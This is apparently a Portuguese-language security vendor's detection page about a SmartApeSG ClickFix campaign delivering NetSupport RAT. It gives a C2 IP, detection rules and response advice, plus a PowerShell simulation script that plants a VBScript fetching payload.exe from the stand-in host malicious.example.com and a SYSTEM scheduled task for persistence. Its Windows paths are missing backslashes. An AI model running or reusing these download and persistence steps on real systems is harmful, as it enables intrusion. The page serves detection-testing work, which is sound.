NetSupport RAT Entregue por um Loader Não Identificado
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Uma ferramenta de acesso remoto anteriormente não identificada foi observada entregando um pacote malicioso do NetSupport Manager RAT. O malware inicial se comunicava com um servidor de comando e controle em 89.110.110.119 sobre a porta TCP 443 usando tráfego codificado. A campanha, rastreada como SmartApeSG ClickFix, contou com scripts maliciosos e um arquivo CAB para instalar o NetSupport RAT nos sistemas das vítimas.
Investigação
A investigação descobriu múltiplos indicadores, incluindo URLs maliciosas, endereços IP e arquivos escritos no diretório ProgramData . O RAT inicial entregou um script batch que extraía e instalava o NetSupport RAT a partir de um setup.cab arquivo. Após a conclusão da instalação, os arquivos de suporte foram removidos para reduzir os vestígios visíveis da atividade.
Mitigação
As organizações devem bloquear o tráfego de rede para os endereços IP e domínios maliciosos identificados e monitorar a criação dos arquivos referenciados sob ProgramData. As defesas de endpoint devem detectar a execução de scripts VBScript e batch suspeitos, enquanto o monitoramento de rede deve aplicar controles mais rigorosos ao tráfego codificado sobre a porta 443.
Resposta
Os defensores devem alertar sobre os indicadores listados, isolar os sistemas afetados e conduzir análises forenses para descobrir quaisquer mecanismos de persistência. Arquivos maliciosos devem ser removidos, quaisquer alterações não autorizadas devem ser revertidas, e as políticas de firewall devem ser atualizadas para bloquear a comunicação de saída com a infraestrutura de comando e controle identificada.
Fluxo de Ataque
Detecções
LOLBAS WScript / CScript (via criação de processo)
Ver
Possível Execução de Binário do NetSupport Manager de Diretório Suspeito (via criação de processo)
Ver
Comando e Controle Suspeito por Solicitação DNS de Domínio de Nível Superior (TLD) Incomum (via dns)
Ver
IOCs (HashSha256) para detectar: RAT não identificado empurra NetSupport RAT
Ver
IOCs (SourceIP) para detectar: RAT não identificado empurra NetSupport RAT
Ver
IOCs (DestinationIP) para detectar: RAT não identificado empurra NetSupport RAT
Ver
Detecção de Infecção do NetSupport RAT via Script e Arquivos CAB [Evento de Arquivo do Windows]
Ver
Detecção de Comunicação Inicial e C2 do NetSupport RAT [Conexão de Rede do Windows]
Ver
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Base deve ter passado.
Justificação: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
Um atacante que ganhou acesso inicial a um host Windows solta três artefatos maliciosos emC:ProgramData:processor.vbs– um script Visual Basic que baixa o binário principal do RAT.token.bat– um arquivo batch que cria uma tarefa agendada para persistência.setup.cab– um arquivo CAB que contém um DLL solto emC:ProgramDatae posteriormente carregado viarundll32.exe.
O atacante então executa cada arquivo por sua vez, causando eventos de criação de processo que contêm os caminhos exatos de arquivo exigidos pela regra Sigma.
-
Script de Teste de Regressão:
# netSupport_RAT_simulation.ps1 # ------------------------------------------------- # PROPÓSITO: Reproduzir telemetria de infecção do NetSupport RAT # ------------------------------------------------- $targetDir = "C:ProgramData" # Assegure-se de que o diretório exista if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force } # 1. Soltar processor.vbs $vbsPath = Join-Path $targetDir "processor.vbs" Set-Content -Path $vbsPath -Value @" Set objXML = CreateObject("MSXML2.XMLHTTP") objXML.open "GET","http://malicious.example.com/payload.exe",False objXML.send "@" # 2. Soltar token.bat $batPath = Join-Path $targetDir "token.bat" Set-Content -Path $batPath -Value @" schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System "@ # 3. Soltar setup.cab (CAB de exemplo contendo um arquivo de texto) $cabPath = Join-Path $targetDir "setup.cab" $tempDir = "$env:TEMPcab_temp" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null Set-Content -Path "$tempDirdummy.txt" -Value "placeholder" # Criar um CAB – requer makecab (ferramenta embutida do Windows) & makecab.exe "$tempDirdummy.txt" $cabPath # Fase de Execução – acionando as detecções Write-Host "`n[+] Executando processor.vbs" cscript.exe //B //Nologo $vbsPath Write-Host "[+] Executando token.bat" cmd.exe /c $batPath Write-Host "[+] Executando setup.cab via rundll32 (carregamento simulado)" rundll32.exe "$cabPath",DummyEntryPoint # Limpar pasta temporária usada para criação de CAB Remove-Item -Recurse -Force $tempDir -
Comandos de Limpeza:
# netSupport_RAT_limpeza.ps1 $targetDir = "C:ProgramData" $files = @("processor.vbs","token.bat","setup.cab") foreach ($f in $files) { $fullPath = Join-Path $targetDir $f if (Test-Path $fullPath) { Remove-Item -Force $fullPath } } # Remover a tarefa agendada criada por token.bat schtasks /delete /tn "NetSupportPersist" /f Write-Host "Limpeza completa."